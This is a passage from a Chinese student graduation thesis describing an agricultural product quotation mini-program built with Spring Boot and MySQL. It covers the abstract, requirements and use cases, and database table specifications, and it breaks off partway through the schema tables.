springboot农产品报价系统-计算机毕业设计源码37300

news2024/12/24 11:29:13

摘  要

本研究基于鸿蒙系统,设计开发了一款农产品报价系统小程序,旨在帮助商家与买家更便捷、高效地进行交易。该系统利用鸿蒙系统的优势,实现了跨平台应用程序的开发,同时利用定位技术和数据采集技术,为用户提供了个性化的农产品推荐和交易信息。用户可以通过小程序浏览各类农产品信息,包括价格、产地、供应商等,从而实现对农产品行情的实时了解和比较。同时,商家可以通过系统发布自己的农产品信息,实现线上线下的快速对接。通过实地调研和用户反馈,我们发现该系统在提升农产品交易效率、促进乡村经济发展等方面具有积极的作用。未来我们将进一步优化系统功能,提升用户体验,推动更多农产品小微企业加入该系统,促进农产品流通的智能化和现代化。

关键词:农产品报价系统;Springboot框架;Mysql数据库;鸿蒙系统

Abstract

Based on hongmeng system, this study designs and develops a small program of agricultural product quotation system, aiming to help merchants and buyers to trade more conveniently and efficiently. The system takes advantage of Hongmeng system to realize the development of cross-platform applications, and uses positioning technology and data acquisition technology to provide users with personalized agricultural product recommendation and transaction information. Users can browse all kinds of agricultural products information through small programs, including price, origin, suppliers, etc., so as to realize the real-time understanding and comparison of the market of agricultural products. At the same time, businesses can release their own agricultural products information through the system to realize the rapid docking between online and offline. Through field research and user feedback, we found that the system plays a positive role in improving the transaction efficiency of agricultural products, and promoting the development of rural economy. In the future, we will further optimize the system functions, improve the user experience, promote more small and micro enterprises of agricultural products to join the system, and promote the intelligence and modernization of the circulation of agricultural products.

Key words:Agricultural product quotation system; Springboot framework; Mysql database; Hongmeng system

目    录

基于鸿蒙的农产品报价系统小程序

摘  要

Abstract

目    录

第1章 绪论

1.1开发背景

1.2研究现状

1.3研究意义

1.4内容安排

第2章 相关技术

1 Springboot框架

2 JavaScript运行模式

3 Mysql数据库

4 AJAX技术

5 B/S体系结构介绍

6鸿蒙系统

第3章 系统需求分析

3.1业务需求分析

3.2功能需求分析

3.2.1系统用户功能

3.2.2农产品信息管理功能

3.2.3订单信息管理

3.3 本章小结

第4章 系统功能与数据库设计

4.1系统功能总体设计

4.2 系统功能详细设计

4.2.1 系统登录设计

4.2.2 查看商品信息设计

4.2.3 订单管理设计

4.3数据库设计

4.3.1数据库逻辑设计

4.4本章小结

第5章 系统实现

5.1登录模块

5.2新闻资讯模块

5.3商城中心模块

5.4我的模块

5.5系统用户管理模块

5.6商城管理模块

5.7公告信息管理模块

5.8本章小结

第6章 系统测试

6.1测试概述

6.2测试配置

6.3 测试用例

6.4测试结果分析

第7章 总结与展望

参考文献

致 谢

  1.  绪论

1.1开发背景

近年来,随着数字化技术的快速发展,农业领域也逐渐迎来了新的变革。然而,农产品交易过程中的信息不对称和交易效率低下等问题仍然存在,使得农民和买家之间的交易往往受到一定程度的限制。为了解决这一问题,并促进农产品交易的便捷化和高效化,我们基于鸿蒙系统进行了农产品报价系统小程序的开发。

当前,农产品的交易通常依赖于传统的线下市场或农村集市,信息不对称导致买卖双方难以获得准确的市场信息,交易效率低下。此外,传统交易方式还存在高昂的中间费用和地域限制等问题,制约了农产品的流通和发展。随着智能手机的普及和移动互联网的发展,人们对于便捷、高效的交易方式有了更高的需求。农产品交易也需要借助数字化技术,提升交易效率,拓展市场。鸿蒙系统是一款面向全场景的分布式操作系统,具有跨设备、高效、安全等特点,适用于多种智能设备。利用鸿蒙系统的优势开发农产品报价系统小程序,可以实现跨平台应用,满足不同用户的需求。

基于以上背景,我们决定利用鸿蒙系统开发农产品报价系统小程序,旨在帮助农民与买家更便捷、高效地进行交易,促进农产品市场的信息透明化和交易的智能化。通过该小程序,用户可以方便地浏览各类农产品信息,获取实时的价格和供应商信息,实现农产品交易的便捷化。

1.2研究现状

目前,农产品行业正逐步迈向数字化转型,各种基于移动互联网和智能化技术的应用不断涌现。在这一背景下,基于鸿蒙系统的农产品报价系统小程序成为了一个备受关注的研究领域。以下是目前在这一领域的研究现状:

农产品信息平台研究:许多研究团队致力于构建农产品信息平台,通过该平台向用户提供农产品价格、供应商信息、交易趋势等数据,帮助农民和买家更好地进行交易决策。这些平台通常基于云服务和移动应用程序,提供定制化的信息展示和智能推荐功能。

农产品交易智能化研究:一些研究者探索如何借助人工智能和大数据技术,对农产品市场进行分析和预测,为用户提供更精准的价格预测和供需匹配服务。他们尝试将推荐算法、机器学习和数据挖掘技术应用于农产品交易平台,提高交易效率和准确性。

移动应用技术研究:随着智能手机的普及,移动应用成为人们获取信息和进行交易的重要方式。基于鸿蒙系统的农产品报价系统小程序具有跨设备、跨平台的优势,能够为用户提供统一的用户体验和便捷的操作界面。因此,研究者们开始关注如何利用鸿蒙系统进行农产品交易应用的开发和优化。

总的来说,基于鸿蒙系统的农产品报价系统小程序的研究现状正在逐渐丰富和完善,研究者们通过不断探索和实践,努力为农产品市场的数字化转型和智能化发展作出贡献。

1.3研究意义

基于鸿蒙系统的农产品报价系统小程序具有重要的研究意义,主要体现在以下几个方面:

推动农业数字化转型:农产品行业传统上信息闭塞、交易不透明,农民和买家之间存在信息不对称的问题。基于鸿蒙系统的农产品报价系统小程序可以整合各种数据资源,为用户提供实时的农产品价格信息、供应链数据等,促进农业产业链的数字化转型,提高市场透明度和效率。

提升农民收入和市场竞争力:通过农产品报价系统小程序,农民可以及时获取市场动态和需求信息,有针对性地选择种植和销售农产品,提高产品质量和销售价格,从而增加收入。同时,系统的智能推荐功能可以帮助农民优化生产计划和销售策略,提高市场竞争力。

促进农产品流通和交易便捷化:传统的农产品交易过程繁琐且时间成本高,基于鸿蒙系统的农产品报价系统小程序可以打破地域限制,让买卖双方更便捷地进行交易。农产品报价系统小程序不仅可以提供即时报价和交易功能,还可以实现在线支付、物流配送等服务,完善农产品流通体系,促进线上线下的融合发展。

促进农业供需匹配和资源优化配置:基于数据驱动的农产品报价系统小程序可以通过分析历史数据和市场趋势,预测需求量和价格走势,为农民和买家提供精准的供需匹配服务。通过系统优化资源配置,避免过剩产能和库存积压,实现农产品供应链的精细化管理和优化。

综上所述,基于鸿蒙系统的农产品报价系统小程序在推动农业现代化、提升农产品交易效率和市场竞争力方面具有重要的研究意义,有助于促进农业产业的可持续发展。

1.4内容安排

本文具体内容包括:绪论、系统采用的关键技术、系统分析、系统设计、系统实现和系统测试。本文着重描述了系统的组成与结构,阐述了系统的设计方案、实现方法以及所采用的开发工具和相关技术,另外,重点剖析了部分环节的开发过程。本系统在一定的环境下对系统的重要模块进行了模拟测试,证实了系统的可用性、可靠性。

  1.  相关技术

1 Springboot框架

SpringBoot是Spring开发项目的起点,SpringBoot框架较比与Springboot框架优点是减少很多配置文件,它的两大核心核心内容是依赖注入和控制反转,通过注解告诉Spring需要哪些对象,在启动时Spring会自动创建出对象。SpringBoot还有另有两个更重要的配置策略:开箱即用配置和约定优于配置,开箱即用配置是指开发人员在项目实际开发的整个过程中均可以直接通过在MAVEN项目中的pom文件里直接添加配置相关的依赖包,使用约定对配置用注解来直接代替繁琐的配置XML文件;约定优于配置,有开发者添加约定范式,可以将测试,打包等工作自动化。

2 JavaScript运行模式

JavaScript语言是指一种可以用于开发动态web页面应用的脚本语言,是属于面向对象开发的,是受了Java语言影响产生的,主要被用来动态设计HTML页面,响应浏览器事件,进行前后端互相交互,在此次设计中使用jqury和ajax实现前后端交互,以此来实现系统功能。

3 Mysql数据库

MySQL是一个开源的关系型数据库管理系统,由瑞典MySQL AB公司开发,后被Sun公司收购,再后被Oracle公司收购。MySQL广泛应用于Web应用程序开发,特别是在LAMP(Linux、Apache、MySQL、PHP/Python/Perl)架构中。它支持多种操作系统,包括Linux、Windows和Mac OS等。MySQL具有高性能、稳定可靠、易于使用的特点,且具有完善的安全性和扩展性。MySQL使用标准的SQL语言进行数据库管理,支持多种存储引擎,如InnoDB、MyISAM等,以适应不同的应用场景需求。MySQL还提供了丰富的文档和社区支持,使得开发者能够快速学会。

4 AJAX技术

AJAX是创建交互式网页的一种开发技术,利用AJAX技术可以实现以无刷新网页的方式更新HTML元素中的内容。传统的网页如果要更新网页内容,必须重新加载整个页面,而AJAX使用异步数据传输在网页和Web服务器之前传递HTTP请求,这样可以使网页只请求少量信息,而不用刷新整个页面。

5 B/S体系结构介绍

B/S结构(Browser/Server,浏览器/服务器模式),是WEB兴起后的一种网络结构模式,WEB浏览器是客户端最主要的应用软件。这种模式统一了客户端,将系统功能实现的核心部分集中到服务器上,简化了系统的开发、维护和使用。客户机上只要安装一个浏览器,如Chrome、Safari、Microsoft Edge、Netscape Navigator或Internet Explorer,服务器安装SQL Server、Oracle、MYSQL等数据库。浏览器通过Web Server同数据库进行数据交互。

6鸿蒙系统

鸿蒙系统是华为公司自主研发的一款面向全场景智能化设备的分布式操作系统。鸿蒙系统的设计理念是构建统一、开放、协作的生态系统,实现跨设备、跨平台的智能互联。这一系统具有分布式架构、轻量高效、安全可靠等特点,适用于智能手机、平板电脑、智能穿戴、车载系统等各类设备,为用户提供统一的智能体验。鸿蒙系统还支持多种编程语言和开发框架,为开发者提供丰富的工具和资源,助力应用程序的快速开发和部署。

  1.  系统需求分析

3.1业务需求分析

针对农产品销售渠道单一现存的问题和需要,通过系统需求的分析,特建立了数字化、信息化的农产品报价系统小程序。

本系统主要包含了、登录模块的实现、系统用户模块、系统管理、公告信息管理、资源管理、商城管理等多个功能模块。下面分别简单阐述一下这几个功能模块需求。不同的权限对应相应的功能模块的需求,管理员权限的级别是最高的,所以所对应的需求是最多的,根据不同的权限分别简单阐述一下各个权限的需求。

主要业务流程:以用户的身份在登录页面输入账号和密码,经过数据库身份验证,验证成功后登录系统主页,可以使用系统,进行查看产品、搜索产品以及购买产品等功能操作。                

3-1主要业务流程图

3.2功能需求分析

根据条件需要,系统结构主要由用户、商家和管理员。

1用户登录及身份要求

验证用户的信息。 

2本系统销售功能需求(面向用户)

用户可以评论商品。

用户可以查询商品的信息以及商品搜索等。

用户可以购买商品。

自动生成订单。

用户可以在线对订单进行支付购买。

用户可以添加修改发货地址、联系电话等信息。

用户(仅限商家用户)可查看销售金额数量等的图表统计图。

3本系统管理功能需求

系统用户-管理员权限(对所有的用户信息维护、添加、删除管理)。

系统管理-管理员权限(发布轮播图及修改、删除轮播图信息等)。

公告信息管理-管理员权限(发布公告信息及修改、删除公告信息等)。

资源管理-管理员权限(发布新闻信息和新闻分类及修改、删除新闻信息等)。

商城管理-管理员和商家权限(添加、删除、修改、查看商城中心商品信息和订单列表以及审核订单配送)。

3.2.1系统用户功能

系统用户功能主要有用户可以进行系统的注册,进行系统登录,可以完成个人资料的修改以及登录密码的重置等几个基本的功能。具体功能用例如图3-2所示。

(1)系统用户用例图

图3-2系统用户用例图

(2)系统用户用例描述

用例描述如下表所示。

表3-1 用例描述

用例名称

系统用户

参与者

所有用户

描述

提供注册登录、更改密码、更改个人资料等功能

前置条件

  1. 用户成功进行系统的注册以及登录
  2. 用户只能对个人资料进行修改和删除

后置条件

事件流

(1)用户进行账户注册

(2)用户进行账户登录

(3)修改个人资料以及登录密码重置

补充说明

(a)新添加的资料不符合要求时会添加失败

(b)修改的密码不符合要求时会修改失败

3.2.2农产品信息管理功能

商城管理的商城中心功能主要有修改商品信息、添加商品信息、删除商品信息等几个基本的功能。具体功能用例如图3-3所示。

(1)商城中心用例图

图3-3商城中心管理用例图

(2)商城中心管理用例描述

商品用例描述如下表所示。

表3-2 商品用例描述

用例名称

商品管理

参与者

商家、管理员

描述

商家提供添加、修改、删除商品等功能

前置条件

  1. 商家成功登录系统
  2. 商家只能对自己的已存在的商品进行修改和删除

后置条件

事件流

(1)商家查看修改农产品信息

(2)商家添加农产品信息

(3)商家删除农产品信息

补充说明

(a)新添加的商品信息不符合要求时会添加失败

(b)修改的商品信息不符合要求时会修改失败

3.2.3订单信息管理

订单信息管理的功能主要有查看订单、添加订单、修改订单、审核订单等几个基本的功能。具体功能用例如图3-5所示。

(1)订单信息管理用例图

图3-5订单信息管理用例图

(4)订单信息管理用例描述如下表所示。

表3-4 订单信息管理用例描述

用例名称

订单管理

参与者

用户、商家、管理员

描述

用户进行订单添加以及修改,管理员和商家进行订单查看以及审核等功能

  1. 前置条件
  1. 用户成功登录系统
  2. 用户能对订单进行添加以及修改订单资料
  3. 管理员和商家可以查看用户提交的订单信息
  4. 管理员和商家对用户订单进行审核

后置条件

事件流

(1)用户修改订单

(2)用户添加订单

(3)管理员和商家审核订单

(4)管理员和商家查看订单

补充说明

(a)新添加的订单不符合要求时会添加失败

(b)审核的订单不符合要求时会审核失败

3.3 本章小结

本章通过对农产品报价系统小程序的业务需求进行认真分析的基础上,画出了系统的主要业务流程图,然后对农产品报价系统小程序的功能进行了需求分析并给出了各个功能构件的用例图和用例描述,为后期系统的设计与实现打下坚实基础

  1. 系统功能与数据库设计

根据需求分析的结果,需要对系统进行功能结构设计。本章主要是在系统需求分析的基础上实现了农产品报价系统小程序的功能性结构设计和后台数据库设计。

4.1系统功能总体设计

本系统功能总体设计是基于鸿蒙系统+Java技术+Mysql数据库+Tomcat服务器的方式设计,以鸿蒙系统为开发工具,并运用Photoshop CS6技术美化网页,辅之以CSS技术。本系统使用的角色主要有系统管理员、商家用户和普通用户。

系统功能结构图如下所示。

图 4-1 系统总体结构包图

4.2 系统功能详细设计

根据系统的总体结构图对本系统的功能进行了详细设计,下面以一些典型的具体功能为例进行详细的描述。

4.2.1 系统登录设计

系统用户在使用系统的时候需要输入用户的账号和密码进行登录,当用户输入账号和密码以后点击登录,这时系统会自动的将用户所输入的信息和后台的数据库中存储的数据进行对比,如果用户输入的数据经过数据的验证是合法的,则用户可以登录系统。登录后的页面主要是由系统的主界面所构成,在这里用户可以对系统的各种功能根据自己的权限进行有效的操作。而对于自己权限不足的功能则不能够进行操作。如果用户输入的信息和后台的数据库对比后不一致,在该用户则无权对系统进行操作,系统会提示用户重新输入账号和密码,如果输入的次数达到一定时,系统则会自动退出。

如下图4-2所示为用户登录活动图。

图4-2用户登录活动图

4.2.2 查看商品信息设计

用户登录系统前台可以查看商品,用户可以查看商品的详细信息和选择相应的商品分类进行该分类下的商品查看,用户还可以通过搜索进行查找查看商品。

如下图4-3所示为查看商品活动图。

图4-3商品浏览活动图

4.2.3 订单管理设计

用户购买商品后,填写收货地址、收货人、电话等信息,生成订单信息,管理员和商家可以审核订单,删除、修改订单,对订单信息进行相应的商品发货。 

如下图4-4所示为订单管理活动图。

图4-4订单管理活动图

4.3数据库设计

4.3.1数据库逻辑设计

通过对数据结构的深入分析,我们可以确定哪些表格和结构之间的关系,并且可以通过验证、调整和完善,来满足用户对数据和功能的需求,从而实现数据库的有效管理。

根据基于鸿蒙的农产品报价系统小程序的特性,我们重新设计了数据库的概念模型,以满足其功能的需求,并且结构更加清晰明确。

表access_token (登陆访问时长)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

token_id

int

10

0

N

Y

临时访问牌ID

2

token

varchar

64

0

Y

N

临时访问牌

3

info

text

65535

0

Y

N

4

maxage

int

10

0

N

N

2

最大寿命:默认2小时

5

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

6

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

7

user_id

int

10

0

N

N

0

用户编号:

表address (收货地址:)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

address_id

int

10

0

N

Y

收货地址:

2

name

varchar

32

0

Y

N

姓名:

3

phone

varchar

13

0

Y

N

手机:

4

postcode

varchar

8

0

Y

N

邮编:

5

address

varchar

255

0

N

N

地址:

6

user_id

mediumint

8

0

N

N

用户ID:[0,8388607]用户获取其他与用户相关的数据

7

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

8

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

9

default

bit

1

0

N

N

0

默认判断

表article (文章:用于内容管理系统的文章)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

article_id

mediumint

8

0

N

Y

文章id:[0,8388607]

2

title

varchar

125

0

N

Y

标题:[0,125]用于文章和html的title标签中

3

type

varchar

64

0

N

N

0

文章分类:[0,1000]用来搜索指定类型的文章

4

hits

int

10

0

N

N

0

点击数:[0,1000000000]访问这篇文章的人次

5

praise_len

int

10

0

N

N

0

点赞数

6

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

7

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

8

source

varchar

255

0

Y

N

来源:[0,255]文章的出处

9

url

varchar

255

0

Y

N

来源地址:[0,255]用于跳转到发布该文章的网站

10

tag

varchar

255

0

Y

N

标签:[0,255]用于标注文章所属相关内容,多个标签用空格隔开

11

content

longtext

2147483647

0

Y

N

正文:文章的主体内容

12

img

varchar

255

0

Y

N

封面图

13

description

text

65535

0

Y

N

文章描述

表article_type (文章分类)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

type_id

smallint

5

0

N

Y

分类ID:[0,10000]

2

display

smallint

5

0

N

N

100

显示顺序:[0,1000]决定分类显示的先后顺序

3

name

varchar

16

0

N

N

分类名称:[2,16]

4

father_id

smallint

5

0

N

N

0

上级分类ID:[0,32767]

5

description

varchar

255

0

Y

N

描述:[0,255]描述该分类的作用

6

icon

text

65535

0

Y

N

分类图标:

7

url

varchar

255

0

Y

N

外链地址:[0,255]如果该分类是跳转到其他网站的情况下,就在该URL上设置

8

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

9

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表auth (用户权限管理)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

auth_id

int

10

0

N

Y

授权ID:

2

user_group

varchar

64

0

Y

N

用户组:

3

mod_name

varchar

64

0

Y

N

模块名:

4

table_name

varchar

64

0

Y

N

表名:

5

page_title

varchar

255

0

Y

N

页面标题:

6

path

varchar

255

0

Y

N

路由路径:

7

position

varchar

32

0

Y

N

位置:

8

mode

varchar

32

0

N

N

_blank

跳转方式:

9

add

tinyint

3

0

N

N

1

是否可增加:

10

del

tinyint

3

0

N

N

1

是否可删除:

11

set

tinyint

3

0

N

N

1

是否可修改:

12

get

tinyint

3

0

N

N

1

是否可查看:

13

field_add

text

65535

0

Y

N

添加字段:

14

field_set

text

65535

0

Y

N

修改字段:

15

field_get

text

65535

0

Y

N

查询字段:

16

table_nav_name

varchar

500

0

Y

N

跨表导航名称:

17

table_nav

varchar

500

0

Y

N

跨表导航:

18

option

text

65535

0

Y

N

配置:

19

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

20

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表cart (购物车)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

cart_id

int

10

0

N

Y

购物车ID:

2

title

varchar

64

0

Y

N

标题:

3

img

varchar

255

0

N

N

0

图片:

4

user_id

int

10

0

N

N

0

用户ID:

5

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

6

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

7

state

int

10

0

N

N

0

状态:使用中,已失效

8

price

double

9

2

N

N

0.00

单价:

9

price_ago

double

9

2

N

N

0.00

原价:

10

price_count

double

11

2

N

N

0.00

总价:

11

num

int

10

0

N

N

1

数量:

12

goods_id

mediumint

8

0

N

N

商品id:[0,8388607]

13

type

varchar

64

0

N

N

未分类

商品分类:

14

description

varchar

255

0

Y

N

描述:[0,255]用于产品规格描述

表collect (收藏)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

collect_id

int

10

0

N

Y

收藏ID:

2

user_id

int

10

0

N

N

0

收藏人ID:

3

source_table

varchar

255

0

Y

N

来源表:

4

source_field

varchar

255

0

Y

N

来源字段:

5

source_id

int

10

0

N

N

0

来源ID:

6

title

varchar

255

0

Y

N

标题:

7

img

varchar

255

0

Y

N

封面:

8

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

9

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表comment (评论)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

comment_id

int

10

0

N

Y

评论ID:

2

user_id

int

10

0

N

N

0

评论人ID:

3

reply_to_id

int

10

0

N

N

0

回复评论ID:空为0

4

content

longtext

2147483647

0

Y

N

内容:

5

nickname

varchar

255

0

Y

N

昵称:

6

avatar

varchar

255

0

Y

N

头像地址:[0,255]

7

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

8

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

9

source_table

varchar

255

0

Y

N

来源表:

10

source_field

varchar

255

0

Y

N

来源字段:

11

source_id

int

10

0

N

N

0

来源ID:

表goods (商品信息)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

goods_id

mediumint

8

0

N

Y

产品id:[0,8388607]

2

title

varchar

125

0

Y

N

标题:[0,125]用于产品和html的<title>标签中

3

img

text

65535

0

Y

N

封面图:用于显示于产品列表页

4

description

varchar

255

0

Y

N

描述:[0,255]用于产品规格描述

5

price_ago

double

8

2

N

N

0.00

原价:[1]

6

price

double

8

2

N

N

0.00

卖价:[1]

7

sales

int

10

0

N

N

0

销量:[0,1000000000]

8

inventory

int

10

0

N

N

0

商品库存

9

type

varchar

64

0

N

N

商品分类:

10

hits

int

10

0

N

N

0

点击量:[0,1000000000]访问这篇产品的人次

11

content

longtext

2147483647

0

Y

N

正文:产品的主体内容

12

img_1

text

65535

0

Y

N

主图1:

13

img_2

text

65535

0

Y

N

主图2:

14

img_3

text

65535

0

Y

N

主图3:

15

img_4

text

65535

0

Y

N

主图4:

16

img_5

text

65535

0

Y

N

主图5:

17

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

18

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

19

customize_field

text

65535

0

Y

N

自定义字段

20

source_table

varchar

255

0

Y

N

来源表:

21

source_field

varchar

255

0

Y

N

来源字段:

22

source_id

int

10

0

N

N

0

来源ID:

23

user_id

int

10

0

Y

N

0

添加人

表goods_type (商品类型)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

type_id

int

10

0

N

Y

商品分类ID:

2

father_id

smallint

5

0

N

N

0

上级分类ID:[0,32767]

3

name

varchar

255

0

Y

N

商品名称:

4

desc

varchar

255

0

Y

N

描述:

5

icon

varchar

255

0

Y

N

图标:

6

source_table

varchar

255

0

Y

N

来源表:

7

source_field

varchar

255

0

Y

N

来源字段:

8

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

9

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表hits (用户点击)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

hits_id

int

10

0

N

Y

点赞ID:

2

user_id

int

10

0

N

N

0

点赞人:

3

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

4

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

5

source_table

varchar

255

0

Y

N

来源表:

6

source_field

varchar

255

0

Y

N

来源字段:

7

source_id

int

10

0

N

N

0

来源ID:

表logistics_delivery (物流配送)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

logistics_delivery_id

int

10

0

N

Y

物流配送ID

2

order_number

varchar

64

0

Y

N

订单号

3

product_name

varchar

64

0

Y

N

商品名称

4

purchase_quantity

varchar

64

0

Y

N

购买数量

5

total_transaction_amount

double

11

2

Y

N

0.00

交易总额

6

the_date_of_issuance

date

10

0

Y

N

发货日期

7

delivery_number

varchar

30

0

Y

N

配送订单

8

ordinary_users

int

10

0

Y

N

0

普通用户

9

shipping_address

varchar

64

0

Y

N

收货地址

10

delivery_status

varchar

64

0

Y

N

配送状态

11

signing_status

varchar

64

0

Y

N

签收状态

12

recommend

int

10

0

N

N

0

智能推荐

13

contact_name

varchar

255

0

Y

N

联系人名字

14

merchant_id

int

10

0

Y

N

商家id

15

create_time

datetime

19

0

N

N

CURRENT_TIMESTAMP

创建时间

16

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间

表mall_center (商城中心)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

mall_center_id

int

10

0

N

Y

商城中心ID

2

merchant_users

int

10

0

Y

N

0

商家用户

3

merchant_name

varchar

64

0

Y

N

商家姓名

4

product_specifications

varchar

64

0

Y

N

商品规格

5

production_address

varchar

64

0

Y

N

生产地址

6

hits

int

10

0

N

N

0

点击数

7

praise_len

int

10

0

N

N

0

点赞数

8

cart_title

varchar

125

0

Y

N

标题:[0,125]用于产品html的标签中

9

cart_img

text

65535

0

Y

N

封面图:用于显示于产品列表页

10

cart_description

varchar

255

0

Y

N

描述:[0,255]用于产品规格描述

11

cart_price_ago

double

8

2

N

N

0.00

原价:[1]

12

cart_price

double

8

2

N

N

0.00

卖价:[1]

13

cart_inventory

int

10

0

N

N

0

商品库存

14

cart_type

varchar

64

0

N

N

未分类

商品分类:

15

cart_content

longtext

2147483647

0

Y

N

正文:产品的主体内容

16

cart_img_1

text

65535

0

Y

N

主图1:

17

cart_img_2

text

65535

0

Y

N

主图2:

18

cart_img_3

text

65535

0

Y

N

主图3:

19

cart_img_4

text

65535

0

Y

N

主图4:

20

cart_img_5

text

65535

0

Y

N

主图5:

21

create_time

datetime

19

0

N

N

CURRENT_TIMESTAMP

创建时间

22

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间

表merchant_users (商家用户)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

merchant_users_id

int

10

0

N

Y

商家用户ID

2

merchant_name

varchar

64

0

Y

N

商家姓名

3

merchant_age

varchar

64

0

Y

N

商家年龄

4

merchant_gender

varchar

64

0

Y

N

商家性别

5

id_number

varchar

64

0

Y

N

身份证号

6

contact_phone_number

varchar

64

0

Y

N

联系电话

7

examine_state

varchar

16

0

N

N

未审核

审核状态

8

user_id

int

10

0

N

N

0

用户ID

9

create_time

datetime

19

0

N

N

CURRENT_TIMESTAMP

创建时间

10

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间

表notice (公告)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

notice_id

mediumint

8

0

N

Y

公告id:

2

title

varchar

125

0

N

N

标题:

3

content

longtext

2147483647

0

Y

N

正文:

4

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

5

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表order (订单)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

order_id

int

10

0

N

Y

订单ID:

2

order_number

varchar

64

0

Y

N

订单号:

3

goods_id

mediumint

8

0

N

N

商品id:[0,8388607]

4

title

varchar

32

0

Y

N

商品标题:

5

img

varchar

255

0

Y

N

商品图片:

6

price

double

10

2

N

N

0.00

价格:

7

price_ago

double

10

2

N

N

0.00

原价:

8

num

int

10

0

N

N

1

数量:

9

price_count

double

8

2

N

N

0.00

总价:

10

norms

varchar

255

0

Y

N

规格:

11

type

varchar

64

0

N

N

未分类

商品分类:

12

contact_name

varchar

32

0

Y

N

联系人姓名:

13

contact_email

varchar

125

0

Y

N

联系人邮箱:

14

contact_phone

varchar

11

0

Y

N

联系人手机:

15

contact_address

varchar

255

0

Y

N

收件地址:

16

postal_code

varchar

9

0

Y

N

邮政编码:

17

user_id

int

10

0

N

N

0

买家ID:

18

merchant_id

mediumint

8

0

N

N

0

商家ID:

19

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

20

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

21

description

varchar

255

0

Y

N

描述:[0,255]用于产品规格描述

22

state

varchar

16

0

N

N

待付款

订单状态:待付款,待发货,待签收,已签收,待退款,已退款,已拒绝,已完成

23

remark

text

65535

0

Y

N

订单备注

24

delivery_state

varchar

16

0

Y

N

未配送

发货状态:未配送,已配送

25

vip_discount

double

11

2

Y

N

0.00

折扣

表praise (点赞)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

praise_id

int

10

0

N

Y

点赞ID:

2

user_id

int

10

0

N

N

0

点赞人:

3

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

4

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

5

source_table

varchar

255

0

Y

N

来源表:

6

source_field

varchar

255

0

Y

N

来源字段:

7

source_id

int

10

0

N

N

0

来源ID:

8

status

bit

1

0

N

N

1

点赞状态:1为点赞,0已取消

表regular_users (普通用户)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

regular_users_id

int

10

0

N

Y

普通用户ID

2

user_name

varchar

64

0

Y

N

用户姓名

3

user_age

varchar

64

0

Y

N

用户年龄

4

user_gender

varchar

64

0

Y

N

用户性别

5

examine_state

varchar

16

0

N

N

已通过

审核状态

6

user_id

int

10

0

N

N

0

用户ID

7

create_time

datetime

19

0

N

N

CURRENT_TIMESTAMP

创建时间

8

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间

表slides (轮播图)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

slides_id

int

10

0

N

Y

轮播图ID:

2

title

varchar

64

0

Y

N

标题:

3

content

varchar

255

0

Y

N

内容:

4

url

varchar

255

0

Y

N

链接:

5

img

varchar

255

0

Y

N

轮播图:

6

hits

int

10

0

N

N

0

点击量:

7

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

8

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

表upload (文件上传)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

upload_id

int

10

